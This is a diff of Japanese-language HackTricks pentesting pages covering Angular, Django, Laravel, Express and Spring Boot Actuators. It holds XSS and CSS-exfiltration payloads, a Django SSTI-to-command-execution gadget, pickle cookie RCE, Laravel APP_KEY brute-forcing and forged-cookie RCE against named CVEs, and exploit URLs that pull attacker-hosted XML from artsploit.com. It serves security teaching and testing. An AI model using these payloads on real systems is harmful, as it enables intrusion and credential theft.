4. `bypassSecurityTrustScript`は、指定された値が安全なJavaScriptであることを示すために使用されます。しかし、このメソッドを使用してテンプレート内でJSコードを実行できなかったため、その動作は予測不可能であることがわかりました。
|
||||
|
||||
```jsx
|
||||
//app.component.ts
|
||||
@ -173,10 +173,10 @@ this.trustedScript = this.sanitizer.bypassSecurityTrustScript("alert('bypass Sec
|
||||
//app.component.html
|
||||
<script [innerHtml]="trustedScript"></script>
|
||||
|
||||
//result
|
||||
//結果
|
||||
-
|
||||
```
|
||||
5. `bypassSecurityTrustStyle` は、指定された値が安全なCSSであることを示すために使用されます。以下の例はCSSインジェクションを示しています:
|
||||
5. `bypassSecurityTrustStyle`は、指定された値が安全なCSSであることを示すために使用されます。以下の例はCSSインジェクションを示しています:
|
||||
|
||||
```jsx
|
||||
//app.component.ts
|
||||
@ -185,17 +185,17 @@ this.trustedStyle = this.sanitizer.bypassSecurityTrustStyle('background-image: u
|
||||
//app.component.html
|
||||
<input type="password" name="pwd" value="01234" [style]="trustedStyle">
|
||||
|
||||
//result
|
||||
Request URL: GET example.com/exfil/a
|
||||
//結果
|
||||
リクエストURL: GET example.com/exfil/a
|
||||
```
|
||||
|
||||
Angularは、ビューに表示する前にデータをサニタイズするための `sanitize` メソッドを提供しています。このメソッドは提供されたセキュリティコンテキストを使用し、入力を適切にクリーンアップします。ただし、特定のデータとコンテキストに対して正しいセキュリティコンテキストを使用することが重要です。たとえば、HTMLコンテンツに `SecurityContext.URL` を適用すると、危険なHTML値に対する保護が提供されません。このようなシナリオでは、セキュリティコンテキストの誤用がXSS脆弱性を引き起こす可能性があります。
|
||||
Angularは、ビューに表示する前にデータをサニタイズするための`sanitize`メソッドを提供しています。このメソッドは、提供されたセキュリティコンテキストを使用し、入力を適切にクリーンアップします。ただし、特定のデータとコンテキストに対して正しいセキュリティコンテキストを使用することが重要です。たとえば、HTMLコンテンツに`SecurityContext.URL`を適用すると、危険なHTML値に対する保護が提供されません。このようなシナリオでは、セキュリティコンテキストの誤用がXSS脆弱性を引き起こす可能性があります。
|
||||
|
||||
### HTMLインジェクション
|
||||
|
||||
この脆弱性は、ユーザー入力が `innerHTML`、`outerHTML`、または `iframe` の `srcdoc` のいずれかの3つのプロパティにバインドされるときに発生します。これらの属性にバインドすると、HTMLがそのまま解釈され、入力は `SecurityContext.HTML` を使用してサニタイズされます。したがって、HTMLインジェクションは可能ですが、クロスサイトスクリプティング(XSS)は発生しません。
|
||||
この脆弱性は、ユーザー入力が`innerHTML`、`outerHTML`、または`iframe` `srcdoc`のいずれかの3つのプロパティにバインドされるときに発生します。これらの属性にバインドすると、HTMLがそのまま解釈され、入力は`SecurityContext.HTML`を使用してサニタイズされます。したがって、HTMLインジェクションは可能ですが、クロスサイトスクリプティング(XSS)は発生しません。
|
||||
|
||||
`innerHTML` を使用した例:
|
||||
`innerHTML`を使用した例:
|
||||
```jsx
|
||||
//app.component.ts
|
||||
import { Component} from '@angular/core';
|
||||
@ -294,7 +294,7 @@ document.body.appendChild(a);
|
||||
```
|
||||
#### Angularクラス
|
||||
|
||||
AngularでDOM要素を操作するために使用できるクラスがいくつかあります:`ElementRef`、`Renderer2`、`Location`、および`Document`。最後の2つのクラスについての詳細な説明は、**オープンリダイレクト**セクションに記載されています。最初の2つの主な違いは、`Renderer2` APIがDOM要素とコンポーネントコードの間に抽象化の層を提供するのに対し、`ElementRef`は単に要素への参照を保持することです。したがって、Angularのドキュメントによれば、`ElementRef` APIはDOMへの直接アクセスが必要な場合の最後の手段としてのみ使用すべきです。
|
||||
AngularでDOM要素を操作するために使用できるクラスがいくつかあります:`ElementRef`、`Renderer2`、`Location`、および`Document`。最後の2つのクラスについての詳細な説明は、**オープンリダイレクト**セクションに記載されています。最初の2つの主な違いは、`Renderer2` APIがDOM要素とコンポーネントコードの間に抽象化の層を提供するのに対し、`ElementRef`は単に要素への参照を保持することです。したがって、Angularのドキュメントによれば、`ElementRef` APIは直接DOMにアクセスする必要がある場合の最後の手段としてのみ使用されるべきです。
|
||||
|
||||
* `ElementRef`には、DOM要素を操作するために使用できる`nativeElement`プロパティが含まれています。ただし、`nativeElement`の不適切な使用は、以下に示すようにXSSインジェクションの脆弱性を引き起こす可能性があります:
|
||||
|
||||
@ -317,7 +317,7 @@ this.elementRef.nativeElement.appendChild(s);
|
||||
}
|
||||
}
|
||||
```
|
||||
* `Renderer2`がネイティブ要素への直接アクセスがサポートされていない場合でも安全に使用できるAPIを提供するにもかかわらず、いくつかのセキュリティ上の欠陥があります。`Renderer2`を使用すると、`setAttribute()`メソッドを使用してHTML要素に属性を設定できますが、XSS防止メカニズムはありません。
|
||||
* `Renderer2`がネイティブ要素への直接アクセスがサポートされていない場合でも安全に使用できるAPIを提供するにもかかわらず、いくつかのセキュリティの欠陥があります。`Renderer2`を使用すると、`setAttribute()`メソッドを使用してHTML要素に属性を設定できますが、XSS防止メカニズムはありません。
|
||||
|
||||
```tsx
|
||||
//app.component.ts
|
||||
@ -377,7 +377,7 @@ this.renderer2.setProperty(this.img.nativeElement, 'innerHTML', '<img src=1 oner
|
||||
|
||||
#### jQuery
|
||||
|
||||
jQueryは、HTML DOMオブジェクトの操作を助けるためにAngularプロジェクトで使用できる、迅速で小さく、機能豊富なJavaScriptライブラリです。しかし、知られているように、このライブラリのメソッドはXSS脆弱性を引き起こすために悪用される可能性があります。Angularプロジェクトで脆弱なjQueryメソッドがどのように悪用されるかを議論するために、このサブセクションを追加しました。
|
||||
jQueryは、HTML DOMオブジェクトの操作を助けるためにAngularプロジェクトで使用できる、迅速で小型、機能豊富なJavaScriptライブラリです。しかし、知られているように、このライブラリのメソッドはXSS脆弱性を引き起こすために悪用される可能性があります。Angularプロジェクトで脆弱なjQueryメソッドがどのように悪用されるかを議論するために、このサブセクションを追加しました。
|
||||
|
||||
* `html()`メソッドは、一致した要素のセットの最初の要素のHTMLコンテンツを取得するか、すべての一致した要素のHTMLコンテンツを設定します。しかし、設計上、HTML文字列を受け入れるjQueryのコンストラクタやメソッドは、コードを実行する可能性があります。これは、`<script>`タグの注入や、コードを実行するHTML属性の使用によって発生する可能性があります。
|
||||
|
||||
@ -406,13 +406,13 @@ $("p").html("<script>alert(1)</script>");
|
||||
<button>Click me</button>
|
||||
<p>some text here</p>
|
||||
```
|
||||
* `jQuery.parseHTML()`メソッドは、文字列をDOMノードのセットに変換するためにネイティブメソッドを使用し、それを文書に挿入できます。
|
||||
* `jQuery.parseHTML()`メソッドは、文字列をDOMノードのセットに変換するためにネイティブメソッドを使用し、それをドキュメントに挿入できます。
|
||||
|
||||
```tsx
|
||||
jQuery.parseHTML(data [, context ] [, keepScripts ])
|
||||
```
|
||||
|
||||
前述のように、HTML文字列を受け入れるほとんどのjQuery APIは、HTMLに含まれるスクリプトを実行します。`jQuery.parseHTML()`メソッドは、`keepScripts`が明示的に`true`でない限り、解析されたHTML内のスクリプトを実行しません。しかし、ほとんどの環境では、`<img onerror>`属性を介してスクリプトを間接的に実行することが可能です。
|
||||
前述のように、HTML文字列を受け入れるほとんどのjQuery APIは、HTMLに含まれるスクリプトを実行します。`jQuery.parseHTML()`メソッドは、`keepScripts`が明示的に`true`でない限り、解析されたHTML内のスクリプトを実行しません。しかし、ほとんどの環境では、`<img onerror>`属性を介して間接的にスクリプトを実行することが可能です。
|
||||
|
||||
```tsx
|
||||
//app.component.ts
|
||||
@ -448,11 +448,11 @@ $palias.append(html);
|
||||
|
||||
#### DOMインターフェース
|
||||
|
||||
W3Cのドキュメントによると、`window.location`および`document.location`オブジェクトは、現代のブラウザではエイリアスとして扱われます。これが理由で、いくつかのメソッドやプロパティの実装が似ており、以下に示すように`javascript://`スキーマ攻撃によるオープンリダイレクトやDOM XSSを引き起こす可能性があります。
|
||||
W3Cのドキュメントによると、`window.location`および`document.location`オブジェクトは、現代のブラウザではエイリアスとして扱われます。そのため、いくつかのメソッドやプロパティの実装が似ており、これがオープンリダイレクトやDOM XSSを引き起こす可能性があります。以下に示すように、`javascript://`スキーマ攻撃が含まれます。
|
||||
|
||||
* `window.location.href`(および`document.location.href`)
|
||||
|
||||
現在のDOMロケーションオブジェクトを取得するための標準的な方法は、`window.location`を使用することです。また、ブラウザを新しいページにリダイレクトするためにも使用できます。その結果、このオブジェクトを制御することで、オープンリダイレクトの脆弱性を悪用できます。
|
||||
現在のDOMロケーションオブジェクトを取得する標準的な方法は、`window.location`を使用することです。また、ブラウザを新しいページにリダイレクトするためにも使用できます。その結果、このオブジェクトを制御することで、オープンリダイレクトの脆弱性を悪用できます。
|
||||
|
||||
```tsx
|
||||
//app.component.ts
|
||||
@ -470,7 +470,7 @@ window.location.href = "https://google.com/about"
|
||||
以下のシナリオに対する悪用プロセスは同じです。
|
||||
* `window.location.assign()`(および`document.location.assign()`)
|
||||
|
||||
このメソッドは、指定されたURLのドキュメントを読み込み、表示するためにウィンドウを原因します。このメソッドを制御できる場合、オープンリダイレクト攻撃のためのシンクになる可能性があります。
|
||||
このメソッドは、指定されたURLのドキュメントを読み込み、表示するためにウィンドウを使用します。このメソッドを制御できる場合、オープンリダイレクト攻撃のためのシンクになる可能性があります。
|
||||
|
||||
```tsx
|
||||
//app.component.ts
|
||||
@ -483,7 +483,7 @@ window.location.assign("https://google.com/about")
|
||||
```
|
||||
* `window.location.replace()`(および`document.location.replace()`)
|
||||
|
||||
このメソッドは、現在のリソースを提供されたURLのものと置き換えます。
|
||||
このメソッドは、現在のリソースを提供されたURLのものに置き換えます。
|
||||
|
||||
`assign()`メソッドとの違いは、`window.location.replace()`を使用した後、現在のページがセッション履歴に保存されないことです。しかし、このメソッドを制御できる場合、オープンリダイレクトの脆弱性を悪用することも可能です。
|
||||
|
||||
@ -512,7 +512,7 @@ window.open("https://google.com/about", "_blank")
|
||||
|
||||
#### Angularクラス
|
||||
|
||||
* Angularのドキュメントによれば、Angularの`Document`はDOMドキュメントと同じであり、Angular内のクライアントサイドの脆弱性を悪用するためにDOMドキュメントの一般的なベクターを使用できることを意味します。`Document.location`プロパティとメソッドは、以下の例のように成功したオープンリダイレクト攻撃のシンクになる可能性があります:
|
||||
* Angularのドキュメントによれば、Angularの`Document`はDOMドキュメントと同じであり、Angular内のクライアントサイドの脆弱性を悪用するためにDOMドキュメントの一般的なベクターを使用することが可能です。`Document.location`プロパティおよびメソッドは、以下の例に示すように、成功したオープンリダイレクト攻撃のシンクになる可能性があります:
|
||||
|
||||
```tsx
|
||||
//app.component.ts
|
||||
@ -606,4 +606,4 @@ this.router.navigateByUrl('URL')
|
||||
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,13 +1,13 @@
|
||||
# Django
|
||||
|
||||
{{#include /src/banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## キャッシュ操作によるRCE
|
||||
Djangoのデフォルトのキャッシュストレージ方法は[Python pickles](https://docs.python.org/3/library/pickle.html)であり、[信頼できない入力がアンピクルされる](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf)とRCEにつながる可能性があります。**攻撃者がキャッシュへの書き込みアクセスを取得できれば、この脆弱性を基盤となるサーバー上でのRCEにエスカレートさせることができます**。
|
||||
Djangoのデフォルトのキャッシュストレージ方法は[Python pickles](https://docs.python.org/3/library/pickle.html)であり、[信頼できない入力がアンピクルされる](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf)とRCEにつながる可能性があります。**攻撃者がキャッシュへの書き込みアクセスを取得できれば、この脆弱性を基盤となるサーバーでのRCEにエスカレートさせることができます**。
|
||||
|
||||
Djangoのキャッシュは、[Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12)、[メモリ](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16)、[ファイル](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16)、または[データベース](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95)のいずれかに保存されます。Redisサーバーやデータベースに保存されたキャッシュは最も攻撃ベクトルになりやすい(RedisインジェクションやSQLインジェクション)ですが、攻撃者はファイルベースのキャッシュを利用して任意の書き込みをRCEに変えることも可能です。メンテナはこれを非問題としてマークしています。キャッシュファイルフォルダー、SQLテーブル名、Redisサーバーの詳細は実装に基づいて異なることに注意が必要です。
|
||||
Djangoのキャッシュは、[Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12)、[メモリ](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16)、[ファイル](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16)、または[データベース](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95)のいずれかに保存されます。Redisサーバーやデータベースに保存されたキャッシュは、最も攻撃されやすいベクトル(RedisインジェクションやSQLインジェクション)ですが、攻撃者はファイルベースのキャッシュを使用して任意の書き込みをRCEに変えることもできるかもしれません。メンテナはこれを非問題としてマークしています。キャッシュファイルフォルダー、SQLテーブル名、Redisサーバーの詳細は、実装に基づいて異なることに注意することが重要です。
|
||||
|
||||
このHackerOneレポートは、SQLiteデータベースに保存されたDjangoキャッシュを悪用する素晴らしい再現可能な例を提供しています: https://hackerone.com/reports/1415436
|
||||
このHackerOneのレポートは、SQLiteデータベースに保存されたDjangoキャッシュを悪用する素晴らしい再現可能な例を提供しています: https://hackerone.com/reports/1415436
|
||||
|
||||
---
|
||||
|
||||
@ -20,7 +20,7 @@ Djangoテンプレート言語(DTL)は**チューリング完全**です。
|
||||
```django
|
||||
{{7*7}}
|
||||
```
|
||||
レンダリングされた出力に`49`が含まれていれば、入力はテンプレートエンジンによってコンパイルされています。
|
||||
レンダリングされた出力に`49`が含まれている場合、入力はテンプレートエンジンによってコンパイルされています。
|
||||
|
||||
### プリミティブからRCEへ
|
||||
Djangoは`__import__`への直接アクセスをブロックしますが、Pythonオブジェクトグラフにはアクセス可能です:
|
||||
@ -31,16 +31,16 @@ Djangoは`__import__`への直接アクセスをブロックしますが、Pytho
|
||||
```django
|
||||
{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}
|
||||
```
|
||||
より安全なユニバーサルガジェットは、`cls.__name__ == 'Popen'`になるまで反復することです。
|
||||
より安全なユニバーサルガジェットは、`cls.__name__ == 'Popen'`になるまで繰り返すことです。
|
||||
|
||||
同じガジェットは、ユーザー入力を誤って処理する**Debug Toolbar**や**Django-CMS**のテンプレートレンダリング機能にも適用されます。
|
||||
|
||||
---
|
||||
|
||||
## ピクルバックセッションクッキーRCE
|
||||
設定`SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'`が有効になっている場合(またはピクルをデシリアライズするカスタムシリアライザ)、Djangoは**ビューコードを呼び出す前に**セッションクッキーを*復号化し、デシリアライズ*します。したがって、有効な署名キー(デフォルトではプロジェクトの`SECRET_KEY`)を持っているだけで、即座にリモートコード実行が可能です。
|
||||
設定`SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'`が有効になっている場合(またはピクルをデシリアライズするカスタムシリアライザー)、Djangoは**ビューコードを呼び出す前に**セッションクッキーを*復号化し、デシリアライズ*します。したがって、有効な署名キー(デフォルトではプロジェクトの`SECRET_KEY`)を持っているだけで、即座にリモートコード実行が可能です。
|
||||
|
||||
### 攻撃要件
|
||||
### 脆弱性の要件
|
||||
* サーバーが`PickleSerializer`を使用している。
|
||||
* 攻撃者が`settings.SECRET_KEY`を知っている/推測できる(GitHub、`.env`、エラーページなどからの漏洩)。
|
||||
|
||||
@ -68,7 +68,7 @@ print(f"sessionid={mal}")
|
||||
* **CVE-2025-48432** – *エスケープされていない `request.path` を介したログインジェクション*(2025年6月4日修正)。攻撃者が改行/ANSIコードをログファイルに密輸し、下流のログ分析を毒することを可能にします。パッチレベル ≥ 4.2.22 / 5.1.10 / 5.2.2。
|
||||
* **CVE-2024-42005** – *`JSONField` の `QuerySet.values()/values_list()` における重大なSQLインジェクション*(CVSS 9.8)。JSONキーを作成して引用から抜け出し、任意のSQLを実行します。4.2.15 / 5.0.8で修正。
|
||||
|
||||
常に `X-Frame-Options` エラーページまたは `/static/admin/css/base.css` ハッシュを介して正確なフレームワークバージョンをフィンガープリンティングし、適用可能な場合は上記をテストします。
|
||||
常に `X-Frame-Options` エラーページまたは `/static/admin/css/base.css` ハッシュを介して正確なフレームワークバージョンをフィンガープリンティングし、適用可能な場合は上記をテストしてください。
|
||||
|
||||
---
|
||||
|
||||
@ -76,4 +76,4 @@ print(f"sessionid={mal}")
|
||||
* Djangoセキュリティリリース – "Django 5.2.2, 5.1.10, 4.2.22がCVE-2025-48432に対処" – 2025年6月4日。
|
||||
* OP-Innovate: "DjangoがSQLインジェクションの欠陥CVE-2024-42005に対処するためのセキュリティ更新をリリース" – 2024年8月11日。
|
||||
|
||||
{{#include /src/banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,6 +1,6 @@
|
||||
# Laravel
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
### Laravel SQLInjection
|
||||
|
||||
@ -10,7 +10,7 @@
|
||||
|
||||
## APP_KEY & Encryption internals (Laravel \u003e=5.6)
|
||||
|
||||
Laravelは、内部でAES-256-CBC(またはGCM)をHMAC整合性と共に使用しています(`Illuminate\\Encryption\\Encrypter`)。
|
||||
Laravelは、内部でHMAC整合性を持つAES-256-CBC(またはGCM)を使用しています(`Illuminate\\Encryption\\Encrypter`)。
|
||||
最終的に**クライアントに送信される**生の暗号文は、次のような**JSONオブジェクトのBase64**です:
|
||||
```json
|
||||
{
|
||||
@ -54,7 +54,7 @@ laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
|
||||
| プロジェクト | 脆弱なシンク | ガジェットチェーン |
|
||||
|--------------|--------------|-------------------|
|
||||
| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}` → `decrypt($hash)` | Laravel/RCE13 |
|
||||
| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN`クッキーが`Passport::withCookieSerialization()`が有効な場合 | Laravel/RCE9 |
|
||||
| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN`クッキーが`Passport::withCookieSerialization()`が有効なとき | Laravel/RCE9 |
|
||||
| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → `laravel_session`クッキー | Laravel/RCE15 |
|
||||
|
||||
エクスプロイトのワークフローは常に次の通りです:
|
||||
@ -65,7 +65,7 @@ laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
|
||||
|
||||
---
|
||||
|
||||
## クッキーのブルートフォースによる大量APP_KEY発見
|
||||
## クッキーのブルートフォースによる大規模APP_KEY発見
|
||||
|
||||
新しいLaravelのレスポンスは少なくとも1つの暗号化されたクッキー(`XSRF-TOKEN`および通常は`laravel_session`)を設定するため、**公共のインターネットスキャナー(Shodan、Censysなど)は数百万の暗号文を漏洩**し、オフラインで攻撃可能です。
|
||||
|
||||
@ -73,7 +73,7 @@ Synacktivによって発表された研究の主な発見(2024-2025):
|
||||
* データセット2024年7月 » 580kトークン、**3.99%のキーが解読**(≈23k)
|
||||
* データセット2025年5月 » 625kトークン、**3.56%のキーが解読**
|
||||
* >1,000サーバーがレガシーCVE-2018-15133に対して依然として脆弱で、トークンが直接シリアライズされたデータを含んでいます。
|
||||
* 大規模なキー再利用 – トップ10のAPP_KEYは商業用Laravelテンプレート(UltimatePOS、Invoice Ninja、XPanelなど)に付属するハードコーディングされたデフォルトです。
|
||||
* 大規模なキー再利用 – トップ10のAPP_KEYは商業用Laravelテンプレート(UltimatePOS、Invoice Ninja、XPanelなど)にハードコーディングされたデフォルトです。
|
||||
|
||||
プライベートGoツール**nounours**はAES-CBC/GCMのブルートフォーススループットを約15億試行/秒に押し上げ、フルデータセットの解読を2分未満に短縮します。
|
||||
|
||||
@ -85,14 +85,12 @@ Synacktivによって発表された研究の主な発見(2024-2025):
|
||||
* [PHPGGC – PHP一般的ガジェットチェーン](https://github.com/ambionics/phpggc)
|
||||
* [CVE-2018-15133の詳細(WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Laravelのトリック
|
||||
|
||||
### デバッグモード
|
||||
|
||||
Laravelが**デバッグモード**にある場合、**コード**および**機密データ**にアクセスできます。\
|
||||
例えば`http://127.0.0.1:8000/profiles`:
|
||||
Laravelが**デバッグモード**のとき、**コード**や**機密データ**にアクセスできます。\
|
||||
例えば`http://127.0.0.1:8000/profiles`:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -100,9 +98,9 @@ Laravelが**デバッグモード**にある場合、**コード**および**機
|
||||
|
||||
### .env
|
||||
|
||||
Laravelはクッキーや他の資格情報を暗号化するために使用するAPPを`.env`というファイルに保存しており、次のパスを使ってアクセスできます:`/../.env`
|
||||
Laravelはクッキーや他の資格情報を暗号化するために使用するAPPを`.env`というファイルに保存しており、次のパストラバーサルを使用してアクセスできます:`/../.env`
|
||||
|
||||
Laravelはエラーを見つけたときにデバッグページ内にもこの情報を表示します(それが有効になっている場合)。
|
||||
Laravelはこの情報をデバッグページにも表示します(Laravelがエラーを見つけたときに表示され、アクティブになります)。
|
||||
|
||||
Laravelの秘密のAPP_KEYを使用して、クッキーを復号化し再暗号化できます:
|
||||
|
||||
@ -182,7 +180,6 @@ encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2
|
||||
|
||||
ここでの情報をお読みください: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
|
||||
|
||||
|
||||
### Laravel SQLInjection
|
||||
|
||||
ここでの情報をお読みください: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
|
||||
@ -226,7 +223,7 @@ laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
|
||||
# Try a word-list of keys against a token (offline)
|
||||
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
|
||||
```
|
||||
スクリプトはCBCおよびGCMペイロードの両方を透過的にサポートし、HMAC/タグフィールドを再生成します。
|
||||
スクリプトはCBCおよびGCMペイロードの両方を透過的にサポートし、HMAC/tagフィールドを再生成します。
|
||||
|
||||
---
|
||||
|
||||
@ -235,12 +232,12 @@ laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
|
||||
| プロジェクト | 脆弱なシンク | ガジェットチェーン |
|
||||
|--------------|--------------|--------------------|
|
||||
| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}` → `decrypt($hash)` | Laravel/RCE13 |
|
||||
| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` クッキーが `Passport::withCookieSerialization()` 有効な場合 | Laravel/RCE9 |
|
||||
| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → `laravel_session` クッキー | Laravel/RCE15 |
|
||||
| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN`クッキーが`Passport::withCookieSerialization()`を有効にしている場合 | Laravel/RCE9 |
|
||||
| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → `laravel_session`クッキー | Laravel/RCE15 |
|
||||
|
||||
エクスプロイトのワークフローは常に次の通りです:
|
||||
1. `APP_KEY` を取得する(デフォルトの例、Gitリーク、config/.envリーク、またはブルートフォース)
|
||||
2. **PHPGGC** でガジェットを生成する
|
||||
1. `APP_KEY`を取得する(デフォルトの例、Gitリーク、config/.envリーク、またはブルートフォース)
|
||||
2. **PHPGGC**でガジェットを生成する
|
||||
3. `laravel_crypto_killer.py encrypt …`
|
||||
4. 脆弱なパラメータ/クッキーを通じてペイロードを配信 → **RCE**
|
||||
|
||||
@ -248,15 +245,15 @@ laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
|
||||
|
||||
## クッキーのブルートフォースによる大規模なAPP_KEY発見
|
||||
|
||||
新しいLaravelのレスポンスは少なくとも1つの暗号化されたクッキー(`XSRF-TOKEN` と通常は `laravel_session`)を設定するため、**公共のインターネットスキャナー(Shodan, Censys, …)は数百万の暗号文を漏洩させ**、オフラインで攻撃可能です。
|
||||
新しいLaravelのレスポンスは少なくとも1つの暗号化されたクッキー(`XSRF-TOKEN`および通常は`laravel_session`)を設定するため、**公共のインターネットスキャナー(Shodan、Censysなど)は数百万の暗号文を漏洩**し、オフラインで攻撃可能です。
|
||||
|
||||
Synacktivによって発表された研究の主な発見(2024-2025):
|
||||
* データセット 2024年7月 » 580 k トークン、**3.99 % のキーが解読されました** (≈23 k)
|
||||
* データセット 2025年5月 » 625 k トークン、**3.56 % のキーが解読されました**
|
||||
* >1,000 サーバーが依然としてレガシー CVE-2018-15133 に脆弱で、トークンが直接シリアライズされたデータを含んでいます。
|
||||
* 巨大なキーの再利用 – トップ10のAPP_KEYは商業用Laravelテンプレート(UltimatePOS, Invoice Ninja, XPanel, …)にハードコーディングされたデフォルトです。
|
||||
* データセット2024年7月 » 580kトークン、**3.99%のキーが解読**(≈23k)
|
||||
* データセット2025年5月 » 625kトークン、**3.56%のキーが解読**
|
||||
* >1,000サーバーがレガシーCVE-2018-15133に対して依然として脆弱で、トークンが直接シリアライズされたデータを含んでいます。
|
||||
* 巨大なキーの再利用 – トップ10のAPP_KEYは商業用Laravelテンプレート(UltimatePOS、Invoice Ninja、XPanelなど)に付属するハードコーディングされたデフォルトです。
|
||||
|
||||
プライベートGoツール **nounours** はAES-CBC/GCMのブルートフォーススループットを約15億試行/秒に押し上げ、フルデータセットの解読を2分未満に短縮します。
|
||||
プライベートGoツール**nounours**はAES-CBC/GCMのブルートフォーススループットを約15億試行/秒に押し上げ、フルデータセットの解読を2分未満に短縮します。
|
||||
|
||||
---
|
||||
|
||||
@ -264,6 +261,6 @@ Synacktivによって発表された研究の主な発見(2024-2025):
|
||||
* [Laravel: APP_KEY漏洩分析](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
|
||||
* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
|
||||
* [PHPGGC – PHP一般的ガジェットチェーン](https://github.com/ambionics/phpggc)
|
||||
* [CVE-2018-15133の詳細 (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
|
||||
* [CVE-2018-15133の詳細(WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,12 +1,12 @@
|
||||
# NodeJS Express
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cookie Signature
|
||||
|
||||
ツール [https://github.com/DigitalInterruption/cookie-monster](https://github.com/DigitalInterruption/cookie-monster) は、Express.js のクッキーシークレットのテストと再署名を自動化するためのユーティリティです。
|
||||
|
||||
### 特定の名前を持つ単一のクッキー
|
||||
### 特定の名前の単一クッキー
|
||||
```bash
|
||||
cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -n session
|
||||
```
|
||||
@ -28,4 +28,4 @@ cookie-monster -b -f cookies.json -w custom.lst
|
||||
```bash
|
||||
cookie-monster -e -f new_cookie.json -k secret
|
||||
```
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -22,12 +22,12 @@
|
||||
### **悪用技術:**
|
||||
|
||||
1. **'/jolokia'を介したリモートコード実行**:
|
||||
- `/jolokia`アクチュエーターエンドポイントはJolokiaライブラリを公開し、MBeansへのHTTPアクセスを可能にします。
|
||||
- `/jolokia`アクチュエーターエンドポイントは、MBeansへのHTTPアクセスを可能にするJolokiaライブラリを公開します。
|
||||
- `reloadByURL`アクションは、外部URLからログ設定を再読み込みするために悪用される可能性があり、盲目的なXXEや作成されたXML設定を介したリモートコード実行につながる可能性があります。
|
||||
- 例の悪用URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`。
|
||||
2. **'/env'を介した設定変更**:
|
||||
|
||||
- Spring Cloudライブラリが存在する場合、`/env`エンドポイントは環境プロパティの変更を許可します。
|
||||
- Spring Cloud Librariesが存在する場合、`/env`エンドポイントは環境プロパティの変更を許可します。
|
||||
- プロパティは、Eureka serviceURLにおけるXStreamデシリアライズ脆弱性などの脆弱性を悪用するために操作できます。
|
||||
- 例の悪用POSTリクエスト:
|
||||
|
||||
@ -54,7 +54,7 @@ eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
|
||||
- `/env`エンドポイントとH2データベースの組み合わせを悪用する詳細は[こちら](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database)で見つけることができます。
|
||||
|
||||
2. **不正なパス名解釈によるSpring BootのSSRF**:
|
||||
